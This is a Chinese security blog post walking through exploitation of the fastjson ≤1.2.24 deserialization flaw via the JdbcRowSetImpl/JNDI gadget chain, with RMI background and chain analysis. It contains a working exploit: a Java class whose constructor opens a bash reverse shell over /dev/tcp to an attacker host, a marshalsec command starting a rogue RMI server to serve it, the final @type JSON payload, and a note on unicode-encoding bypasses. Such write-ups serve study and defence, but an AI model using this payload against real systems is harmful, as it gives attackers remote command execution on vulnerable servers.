0
点赞
收藏
分享

微信扫一扫

[Java安全]fastjson≤1.2.24结合JdbcRowSetImpl利用链

豆丁趣 2022-10-31 阅读 155


文章目录

  • ​​RMI​​
  • ​​Fastjson RCE关键函数​​
  • ​​实际利用演示​​
  • ​​JdbcRowSetImpl利用链分析​​
  • ​​参考文章​​

RMI

首先不得不提一下RMI
RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。
一个简单的例子,首先是server端

Server分三部分:

  1. ⼀个继承了 java.rmi.Remote 的接⼝,其中定义我们要远程调⽤的函数,⽐如这⾥的 hello()
  2. ⼀个实现了此接⼝的类
  3. ⼀个主类,⽤来创建Registry,并将上⾯的类实例化后绑定到⼀个地址。这就是我们所谓的Server 了。

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
public interface IRemoteCall extends Remote {
public String hello() throws RemoteException;
}

public class RemoteCall extends UnicastRemoteObject implements
IRemoteCall {
protected RemoteCall() throws RemoteException {
super();
}

public String hello() throws RemoteException {
return "Hello";
}
}

private void start() throws Exception {
RemoteCall h = new RemoteCall();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}

public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}

接下来通过客户端进行调用

import com.exploit.RMIServer
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class Test {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteCall hello = (RMIServer.IRemoteCall)
Naming.lookup("rmi://192.168.135.142:1099/Hello");
String ret = hello.hello();
System.out.println(ret);
}
}

Fastjson RCE关键函数

​DefaultJSONParser.parseObject()​​ 解析传入的 json 字符串提取不同的 key 进行后续的处理

​TypeUtils.loadClass()​​ 根据传入的类名,生成类的实例

​JavaBeanDeserializer.Deserialze()​​​ 依次调用 ​​@type​​​中传入类的对象公有 ​​set\get\is​​ 方法。

​ParserConfig.checkAutoType()​​阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。

实际利用演示

我们借助​​marshalsec​​​项目,启动一个RMI服务器,监听46000端口,并制定加载远程类​​TouchFile.class​

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class TouchFile{
public TouchFile() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/46001;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#TouchFile" 46000

接下来我们向服务器发送​​Payload​​​,带上​​RMI​​的地址:

[Java安全]fastjson≤1.2.24结合JdbcRowSetImpl利用链_json

可以看见,成功反弹shell,帅气

[Java安全]fastjson≤1.2.24结合JdbcRowSetImpl利用链_json_02


当然我们甚至也可以使用unicode编码进行一些简单的绕过

[Java安全]fastjson≤1.2.24结合JdbcRowSetImpl利用链_json_03


这样一样可以接收到反弹的shell

JdbcRowSetImpl利用链分析

我们可以看见在其​​connect​​​方法当中存在lookup方法并且我们跟踪看看​​this.getDataSourceName()​

[Java安全]fastjson≤1.2.24结合JdbcRowSetImpl利用链_json_04


k

[Java安全]fastjson≤1.2.24结合JdbcRowSetImpl利用链_java_05


我们同时也可以找到赋值的set方法

[Java安全]fastjson≤1.2.24结合JdbcRowSetImpl利用链_java_06


调用这个set方法并不难(用​​@type​​​),难点在于我们如何去调用这个connect方法,完美找到一个带set方法的调用,这里可以调用​​connect​

[Java安全]fastjson≤1.2.24结合JdbcRowSetImpl利用链_json_07


那一切问题便迎刃而解,我们只需要按照调用顺序构造

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://rmi服务ip:端口/Exploit","autoCommit":true}

参考文章

​​https://zhuanlan.zhihu.com/p/73428357​​​​​​​ https://www.freebuf.com/vuls/208339.html
http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/



举报

相关推荐

0 条评论